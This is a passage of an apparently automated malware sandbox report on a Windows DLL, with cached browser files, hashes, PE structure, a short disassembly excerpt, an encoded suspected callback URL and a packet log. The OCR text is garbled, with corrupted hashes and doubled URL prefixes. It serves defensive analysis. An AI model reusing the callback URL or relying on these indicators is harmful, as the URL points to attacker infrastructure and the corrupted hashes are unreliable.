192:BYL5ZuikLsrhO8ivipaykEWPQXE7SrIt3VLK4t88IWN20OOVE:eDudsrOlk5PSMt3VLK4+DW5qE
360CC4C27611BF95C4CF33655808C1DB

EA274910A6A22E4DB1DF82113364C3C9F475478D
C2772336726205F05B1240A4F8BCD30DA77178DFA5C990179536A0C239A47CFD

3AC27452DEE614FDC5EE1D3EA3BI9DFB93C61C20BOEFF1D9B53D57E7376AC481125C61685FA3D7167D09BBC70CBEA71E31BA420B1C61CEEB26C05FB1BB6CD
A83F

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBm65.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg

...... JFIF. oCocceeenes o )10.)-,3:0>36F 7 -@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000. ... M.7.." oo b J1A.QaG.2.. #B. R.$3Dr........ %&!()*456789: CDEFGHIJSTUVWXYZcdefgh
ijstuvwxyz &'()*56789:CDEFGHIJSTUVWXY

Zcdefghijstuvwxyz.
4.J..Byd?-Vrs....04..Sc'4...i.")..P..9. jf.....;..4*=.PC..a.0".E.)....0.s@...*..5...¢..I..K.5Y.t.c.........7..H.I8...kyt....8..M.S.,...9....q.+....%...)..y...d..[...N.N...V.M..l.)..q.
.@...z.4.n..NK...Q..OZ.sB....4P.**...p)."

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BB1dBn2F[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 310x166, frames 3
downloaded

8244

7.943052613763091

false

192:BFBU+meDfCwYZD3VcC4McwPnmPCUrhJTzsZ/Pmw4D+mrLPoi:v2GfmbFOaKnTImxzPoi
FBC799CFODE9895B480B5FDA07B9C699

2F6A73A1B5F8CE36D1C1716048E673BB75FCD4E4
56D77538275EDBB6DBI96B749EEEF00526C50FF79B9322CCDCCOAF2DC4D3A44F
D17A4D62A9003616FA814E31AC690879C776641B874EBBF35C2244B9D64FBBC7982EEB22831D425832CE73B868B81C6C62BBFI79A74C74B860AAEA701026D8B
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBn2F.img?h=166&w=310&m=6&q=60&u=t&o=t&I=f&f=jpg

LP*.0.[CT... $R.V....X....\][].G..GW...~VR.9.4. H..5+..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\CS61XJW6\BB1dC041[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 300x250, frames 3
downloaded

16981

7.95701655414084

false

384:J0ukg71LLIWa3EMtNfLadLGD10AD5CVOWMOb3QmJA5S:JOALLVNUM9uzdCnMO7Qr4
8ABF5E2977075E096A0C18E2A2147EB6

171B70C188341485AAB259F549624EF12FFAALF2
587E77001574AB582B781F4B65F2D1CC21AB2F1DF5BF85D2CB96EC413FC5B069

D09A499B130BBDD3723D871D1CFBDF20D58E813B2C6EEBC16678C7A07B14860DEO5B6324009AED65922338D71D8DFOEEBF556C31CF4D707CACF411ED73E2B
C6

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dC041.img?h=250&w=300&m=6&q=60&u=t&o=t&I=f&f=jpg
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\CS61XJW6\BB1dC041[1].jpg

Preview:
...... JFIF....HH...C......ooeeens ol )100)-,3:13>36F7,-@WAFLNRSR2>ZaZP " JQRO...C.......&..&05-500000000000000000000000000000000
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BB7hg4[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 458

Entropy (8bit): 7.172312008412332

Encrypted: false

SSDEEP: 12:6v/78/kFj13TCI3wFdwrWZdLCUYzn9dct8CZsWEO0ROY8/9ki:u138apdLXgxCS7D2Y+

MDS5: AAF438CAD14EOE2CA9EEC23174BBD16A

SHA1L: 41FC65053363E0EEE16DD286C60BEDE6698D96B3

SHA-256: 9D9BCADE7A7F486C0C652C0632F9846FCFD3CC64FEF87ES5C4412C677C854E389

SHA-512: FD41BCD1A462A64E40EEE58D2ED85650CE9119B2BB174C3F8EIDA67D4A349B504E32C449C4E44E2B50E4BEB8B650E6956184A9E9CD09BOFASEA2778292B01E
A5

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7hg4.img?h=16&w=16&m=6&q=60&u=t&o=t&|=f&f=png

Preview:
oo 1LPLPLUINALRSMEL n *~y b bl H<) LR UL
.r..y..elC....D.c....0.0.Y. .h...t.kb.y .1a.D..|...#.Idra.n

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\CS61XJW6\BBIbVOm[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 795

Entropy (8bit): 7.615715234096511

Encrypted: false

SSDEEP: 12:6v/78/W/6TUdZVAZD/rc+c/AGIliTpHqd2zBMrsLIZBYVWyMrngEOO3AG]fjjt7:U/60Yt/RcVI3pH822cRyMrnG03dx7
MDS5: 0B075168CF2D19C936A0BF1A34ADEOFO

SHA1L: 429B62EEB83C1B128700DC025F68599425BC5552

SHA-256: 39CA855FDCA2C76CDFA82B17AE0331D2B24D84029E16F8347DACBE2E02818138

SHA-512: 4AC96302CCC33EABF482360B6D2EB2B26FDD7959574036A75B324344A5901F1888DABAOF1893CB2DESBF0276FOFCBC25CE832171497DCDC29018BBD07684395(C
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBIbVOm.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCachell[E\CS61XJW6\BBXXVfm[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 823

Entropy (8bit): 7.627857860653524

Encrypted: false

SSDEEP: 24:U/61PdppmpWEL+04TCagyP79AyECQdYTVc6ozvqE435/ke:U/61lpadT/0IVKdIL
MDS5: C457956A3F2070F422DD1CC883FB4DFB

SHAL: 67658594284D733BB3EE7951FE3D6EEGEB39C8E2

SHA-256: 90E75C3A88CD566D8C3A39169B1370BBES509BCBF8270AF73DBIF373C145C897
SHA-512: FE9D1C3F20291DFB59BOCEF343453E288394C63EF1BE4FF2E12F3F9F2C871452677B8346604E3C15A241F11CC7FEBOB91A2F3CIA2A67E446A5B4A37D331BCEA
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBXXVfm.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

Preview:

IDAT80.SKH.a....g.....E..j..B7..B.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\FjzX0u4[1].htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
Copyright null 2021 Page 52 of 80



C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\FjzX0u4[1].htm

File Type: ASCII text, with very long lines, with no line terminators

Category: downloaded

Size (bytes): 340072

Entropy (8bit): 5.999887707873421

Encrypted: false

SSDEEP: 6144:bC6ujxo+cIIX7ThRyZxW3LpRmMknPMD8PK7WP3Xm7sn1bujmOfKzCzpgK:bC6ujxStCG3/mAKDI30sn1bQSzCMK

MDS5: A7025BCB8EA3D88D08B270804C08CF752

SHA1L: 7FBC8FFE4D1E88A3F5A2596646C46F0894EA6859

SHA-256: B286140BFAA8D001860C9E1FOF49A8626BD1DB05C30693BD317CCB613F21DCOC

SHA-512: OBAOE3DE6F299E78FBA72F48F15D181885C98C62CF346046BFAEFE8743D441187D887ADD8A91BBBD483C2AD984AFE2E87CE3339AA089250E4AA7CAAIBEBF15
86

Malicious: false

|IE Cache URL: hitp://
apil0.laptok.at/apil/JQsoHKJISB/rNdVJ_2ByIK2QDFJR2qj/j2rw6DMd2f1e8eX8Ymg/9uOLouY 1o0gnmocJ9nvixr/XWjhEhDNEaQ_2/FYjjcAOh/eSTxiOnp2M3GkDMJIDUmMRS
Ax/UvQhMALYfw/bHVbHCpgIXEwn0SZp/LrAt8U21M_2/BpEUbP2COR0/UW2pHSPHTDkzWu/mBoET9UfbltaF6gE6vcC1/04nY6eMBCYxT6Jao/ppmN_2FO5sKIIZe/z_2BF
plddjhGlg8u2_/2BrPbB1qqg/eH44l_2FjBBiq9Kt9ByU/r3_2FcOIEGEVR4XQZpv/b5bozqpj7Ty6A4nci6CZa8/UAjk867qSAa/FjzX0u4

Preview:
D8cvpme4kK7HZ8SeM1I5pa/WQP2Bpx5V/LO2VThbCweMubcBndEckfm7NRGVCjquQ6c4Lge4clg38ljxu8VmLId6lJw7DFNpBQIWYJOT9ibSBRgiIcCRG1LKIB4YKULABMLS
9LUYgW/HzZNO8BW4AUQQAYPOfsA9QK7TXUWZEDHgRVQI7Nu7reb/WI1G+BIlIzq91tG33cM8yhDW5NIrNV3WIYe1N3At28ya4Ow9rOrxB31iKncAGF8tqOEWXUNDf
gYjOLu6fsvzulEBESES]YIrczZ3RSFRI7UjpT2yYSaWZtSAOuxSs4gjB8Y S9cx9Xq8HCO0WIsOppwLj9ABYywGZKLokpKhGr+7VIx03wAqULz8vWOiykXvfdLhwNID6jVcm
0F4bLLDESDYQ2evuzcHYHd+6mErQPisV3PICrwA3xP4LDkGc+0OjGgDoExUf3eBVIWNG1Fc6s0/nYiLsr7UVsiO370qjNgjFzZEu6bj2X23PWoUBMSsjNKyKj|i73UfsZO1i0
cPPrAh2SS5ZB08a4Ccoxq3taLhC9zwJoLWiMIVYDiXVYOYM7rLIFEcMZA9afrRRVSAIcXT80j3noNmBJI1ZMhD6x0J2h0zD6ieu4317+BXchrudUcBbDYd+PzOTLWp70IN1
Y1lyX3PjpDiblOJyz4sy4yW5S1nmfiNPNriAAKDVEF4alpa/oZABgcmijxwDnaK+6CzbDErMg3rqmS6g0cElckeuZuY P30uxkp+Cls4cDF7jlgjdrLeSjV/NBIngdPLO9EQN
ICbUwehCOFZk2UFc1BamHXhQEYxX9E94hj8EASDyXjUUsSLQxpbE1G+Z7pRySVcgHQ2Q4J9ywsE7PRFj45rUJjelpsVOKVandXZICgaeFu7vz9R5/SnY 1trMG
BELMOWZMz7Cj4zUp42SFPx4/v7e8v1i3BioudUd55S0cXV4dI4aHx614PLAD017Gk12SL7DiitIQIBnptKPbuWpeyEtjVGm+FhzZ2ZNcWChZIL

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS61XJW6\a8a064[1].gif

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: GIF image data, version 89a, 28 x 28

Category: downloaded

Size (bytes): 16360

Entropy (8bit): 7.019403238999426

Encrypted: false

SSDEEP: 384:92SEiHys4AeP/6ygbkUZp72i+ccys4AeP/6ygbhkUZaoGBm:g2Tjs4Ae36kOpgi+c/s4Ae36kOaoGm

MDS5: 3CC1C4952C8DC47B76BE62DCO76CE3EB

SHA1L: 65F5CE29BBC6EOCO7C6FECIBI6884E38A14A5979

SHA-256: 10E48837F429E208A5714D7290A44CD704DD08BF4690F1ABA93C318A30C802D9

SHA-512: 5CC1E6FIDACAICEAB56BD2ECEEB7A523272A664FESEE4BBOADASAFI83BA98DBABECF3848390DF65DA929A954AC211FF87CE4DBFDC11F5DFOC6E3FEABAST
40EF7

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachell[E\CS61XJW6\cfdbd9[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 740

Entropy (8bit): 7.552939906140702

Encrypted: false

SSDEEP: 12:6v/70MpfkExg1JOT5FINRIYX1TEdLh8vI542irJQ5nnXZkCa0j0cMgL17jXGW:HMuXk5RWT TEovnOAXZMitL9aw
MD5: FE5E6684967766FF6A8AC57500502910

SHA1L: 3F660AA0433C4DBB33C2C13872AA5A95BC6D377B

SHA-256: 3B6770482AF6DA488BD797AD2682C8D204ED536D0D173EE7BB6CEBOD479A2EAT

SHA-512: AF9F1BABF872CBF76FC8C6B497E70F07DF1677BB17A92F54DC837BC2158423B5BF1480FF20553927ECA2E3F57D5E23341E88573A1823F3774BFF8871746FFA51
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/c6/cfdbd9.png

Preview:
PNG..
WV, X
U....uy.8"...5..0....2.....
LRel.-@........ +.a..%x..0

...IHDR.

.U...sBIT....|.d.....pHYs...
B$.%.nb....cl..w.YV....
.0.t.G.".
Y.m.1.N.I.V.;V.a3.U..,.lc-J<.qm-1..d.A.d. 4.k

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\e151e5[1].gif
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: GIF image data, version 89a, 1 x 1
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6I1XJW6\e151e5[1].gif

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

downloaded

43

3.122191481864228

false

3:CUTxIs/1h/:7IU/
F8614595FBA50D96389708A4135776E4
D456164972B508172CEE9D1CC06D1EA35CA15C21

7122DE322879A654121EA250AEAC94BD9993F914909F786C98988ADBD0OA25D5D

299A7712B27C726C681E42A8246F8116205133DBE15D549F8419049DF3FCFDAB143E9A29212A2615F73E31A1EF34D1F6CEOEC093ECEADO37083FA40A075819D2

false

hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif

GIF89a............. [ I R D..;

Static File Info

General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

Copyright null 2021

74f0edecccdceOed

0x1007ach9
text
false
0x10000000

windows gui

PE32 executable (DLL) (GUI) Intel 80386, for MS Wi
ndows

6.687139012925671

e Win32 Dynamic Link Library (generic) (1002004/3)
99.60%

Generic Win/DOS Executable (2004/3) 0.20%
DOS Executable Generic (2002/1) 0.20%
Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

2200.dll

.

.

.

610304
e07d47927df912332bc84b3f98586091
b55a9ae7a9ccd44dd3516e557e295e3flcce750e

€c849b895a0c8237f81ca3fe6395929713fb7b3f0a7744d
3ddc3ch08f9f4351d

05fc68821232f43b1b598a5c3989d18e5487f87316803a8
d2e732cdlafed88034f6482be256c9894ad4a56b6fedefde
€748a982c90c7609c64d24ff77b5b56396

6144:Gplyi90cYdmY9BRYZxhYVnacWeBg4luVJIpVGOq
MdRWGzwalNGr43FUHcI3Gs30ZD:Yai45Taefl2pEQR
WGzPMr418GwaPIMT

is program cannot be run in DOS mode....$...........P.A.P
APA..RA..RA.L?RAWN<BAWN.Y.AWN:.UA.
P.@.b.AwN,._.AWwNO..A.WN;.Q. AWN=.Q.AWN9.Q.A.R
ichP.A.......

32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

0x43E50590 [Sat Feb 4 19:50:40 2006 UTC]
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General

File Version Major: 4
File Version Minor: 0
Subsystem Version Major: 4
Subsystem Version Minor: 0
Import Hash: a6d55890f5859d9f8802dc75c82d2c1d

Entrypoint Preview

Instruction

cmp dword ptr [esp+08h], 01h
jne 00007F2908839C37h
call 00007F290883CA46h
push dword ptr [esp+04h]
mov ecx, dword ptr [esp+10h]
mov edx, dword ptr [esp+0Ch]
call 00007F2908839B22h
pop ecx

retn 000Ch

sub eax, 000003A4h

je 00007F2908839C54h
sub eax, 04h

je 00007F2908839C49h
sub eax, 0Dh

je 00007F2908839C3Eh
dec eax

je 00007F2908839C35h

XOr eax, eax

ret

mov eax, 00000404h

ret

mov eax, 00000412h

ret

mov eax, 00000804h

ret

mov eax, 00000411h

ret

push ebx

push ebp

push esi

push edi

mov ebp, 00000101h

mov esi, eax

push ebp

xor edi, edi

lea ebx, dword ptr [esi+1Ch]
push edi

push ebx

call 00007F290883CA84h
mov dword ptr [esi+04h], edi
mov dword ptr [esi+08h], edi
mov dword ptr [esi+0Ch], edi
XOr eax, eax

lea edi, dword ptr [esi+10h]
stosd

stosd

stosd

mov eax, 100900C8h

add esp, 0Ch

sub eax, esi

mov cl, byte ptr [eax+ebx]
mov byte ptr [ebx], cl

inc ebx

dec ebp

jne 00007F2908839C29h
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Instruction

lea ecx, dword ptr [esi+0000011Dh]
mov esi, 00000100h

mov dl, byte ptr [ecx+eax]

mov byte ptr [ecx], dI

inc ecx

dec esi

jne 00007F2908839C29h

pop edi

pop esi

pop ebp

pop ebx

ret

push ebp

lea ebp, dword ptr [esp-0000049Ch]
sub esp, 0000051Ch

mov eax, dword ptr [100907DO0h]
xor eax, ebp

mov dword ptr [ebp+00000498h], eax
push ebx

push edi

lea eax, dword ptr [ebp-7Ch]

push eax

push dword ptr [esi+00h]

Rich Headers

Programming Language: e [RES] VS2005 build 50727
e [C]VS2005 build 50727
e [EXP] VS2005 build 50727
e [IMP] VS2005 build 50727
o [C++] VS2005 build 50727
e [ASM] VS2005 build 50727
e [LNK] VS2005 build 50727
Data Directories
Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x8f530 0x62 .rdata
IMAGE_DIRECTORY_ENTRY_IMPORT 0x8ee04 0x50 .rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x99000 0x348 .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0
IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x9a000 Oxe9c .reloc
IMAGE_DIRECTORY_ENTRY_DEBUG 0x85170 Oxlc .rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0
IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x8ea98 0x40 .rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IAT 0x85000 0x13c .rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0
IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0
Sections
Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics
text 0x1000 0x83374 0x84000 False 0.820872913707 data 6.70027517881 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
.rdata  0x85000 0xa592 0xb000 False 0.442693536932 data 6.27189414205 IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_READ
.data 0x90000 0x8df8 0x2000 False 0.205200195312 DOS executable (COM, 0x8C- 2.22428200232 IMAGE_SCN_CNT_INITIALIZED

variant) _DATA,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
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Name Virtual Address

.rsrc 0x99000 0x348

.reloc  0x9a000

Resources

Name

RT_VERSION
Imports

DLL
KERNEL32.dll

USER32.dll
GDI32.dll

Exports

Name
@DIIRegisterServer@0
@Lake@0

Version Infos

Description
LegalCopyright
InternalName
FileVersion
CompanyName
ProductName
ProductVersion
FileDescription
OriginalFilename

Translation
Possible Origin

Language of compilation system

English

Network Behavior

Network Port Distribution

Copyright null 2021

Virtual Size

0x19ac

Raw Size

0x1000

0x2000

RVA
0x99060

Xored PE ZLIB Complexity File Type Entropy Characteristics
False 0.096923828125 data 0.8911232546 IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_READ
False 0.393920898438 data 3.98288069805 IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_DISCARDA
BLE, IMAGE_SCN_MEM_READ
Size Type Language Country
0x2e4 data English United States
Import

GetProcAddress, GetSystemDirectoryA, VirtualProtect, GetCurrentDirectoryA, FindFirstChangeNotificationA,
GetTempPathA, LoadLibraryA, HeapSize, RtlUnwind, FreeLibrary, GetTickCount, Sleep, EnterCriticalSection,
GetEnvironmentVariableA, InitializeCriticalSection, GetCurrentThreadld, GetCommandLineA, HeapFree,
GetVersionExA, HeapAlloc, GetProcessHeap, GetCPInfo, InterlockedIincrement, InterlockedDecrement, GetACP,
GetOEMCP, GetModuleHandleA, TIsGetValue, TIsAlloc, TIsSetValue, TIsFree, SetLastError, GetLastError,
MultiByteToWideChar, LCMapStringA, WideCharToMultiByte, LCMapStringW, ExitProcess, SetHandleCount,
GetStdHandle, GetFileType, GetStartupIinfoA, DeleteCriticalSection, GetModuleFileNameA, FreeEnvironmentStringsA,
GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, HeapDestroy, HeapCreate, VirtualFree,
UnhandledExceptionFilter, QueryPerformanceCounter, GetCurrentProcessld, GetSystemTimeAsFileTime,
GetStringTypeA, GetStringTypeW, LeaveCriticalSection, TerminateProcess, GetCurrentProcess,
SetUnhandledExceptionFilter, IsDebuggerPresent, GetLocalelnfoA, WriteFile, VirtualAlloc, HeapReAlloc

ExitWindowsEx, EndDeferWindowPos, SetParent, InflateRect, IntersectRect

GetTextExtentPoint32A, SetPixel, StretchBlt, CreateCompatibleBitmap, PatBlt

Ordinal Address
1 0x1007a3d0
2 0x1007a690
Data
Copyright 1998-2016 Cover wall, Inc
Knew stretch
4.6.2.597
Cover wall
Cover wall
4.6.2.597
Knew stretch
Hunt.dll
0x0409 0x04b0
Country where language is spoken Map

United States

Page 57 of 80



Total Packets: 112

® 53 (DNS)
® 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Feb 12, 2021 01:47:03.957350016 CET 49720 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:03.957506895 CET 49721 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.005125999 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.005228996 CET 49720 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.005625963 CET 443 49721 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.005737066 CET 49721 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.005903959 CET 49720 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.053437948 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.054070950 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.054132938 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.054167032 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.054303885 CET 49720 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.063354969 CET 49720 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.063747883 CET 49720 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.063946962 CET 49720 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.064878941 CET 49721 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.111686945 CET 443 49721 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.112014055 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.112061977 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.112101078 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.112373114 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.112462044 CET 49720 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.112896919 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.112982035 CET 49720 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.113424063 CET 443 49721 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.113491058 CET 443 49721 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.113514900 CET 49721 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.113539934 CET 443 49721 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.113585949 CET 49721 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.113610029 CET 49721 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.117410898 CET 49721 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.117815971 CET 49721 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.117950916 CET 49720 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.130259991 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.130311012 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.130579948 CET 49720 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.164125919 CET 443 49720 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.164170980 CET 443 49721 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.164386034 CET 443 49721 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.164427042 CET 443 49721 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.164464951 CET 443 49721 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.164469957 CET 49721 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.164500952 CET 443 49721 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:04.164510965 CET 49721 443 192.168.2.4 104.20.185.68
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 12, 2021 01:47:04.164567947 CET 49721 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.186609983 CET 49721 443 192.168.2.4 104.20.185.68
Feb 12, 2021 01:47:04.234770060 CET 443 49721 104.20.185.68 192.168.2.4
Feb 12, 2021 01:47:07.811521053 CET 49732 443 192.168.2.4 87.248.118.23
Feb 12, 2021 01:47:07.811563969 CET 49733 443 192.168.2.4 87.248.118.23
Feb 12, 2021 01:47:07.817976952 CET 49734 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.818099976 CET 49735 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.818166971 CET 49736 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.818217039 CET 49737 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.818348885 CET 49738 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.818407059 CET 49739 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.861628056 CET 443 49736 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.861668110 CET 443 49737 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.861692905 CET 443 49735 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.861716986 CET 443 49734 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.861741066 CET 443 49738 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.861763954 CET 49736 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.861771107 CET 443 49739 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.861790895 CET 49737 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.861818075 CET 49735 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.861828089 CET 49734 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.861845016 CET 49738 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.861860991 CET 49739 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.862608910 CET 49735 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.862662077 CET 49739 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.863384962 CET 49738 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.863413095 CET 49737 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.864599943 CET 443 49732 87.248.118.23 192.168.2.4
Feb 12, 2021 01:47:07.864698887 CET 49732 443 192.168.2.4 87.248.118.23
Feb 12, 2021 01:47:07.865159988 CET 49732 443 192.168.2.4 87.248.118.23
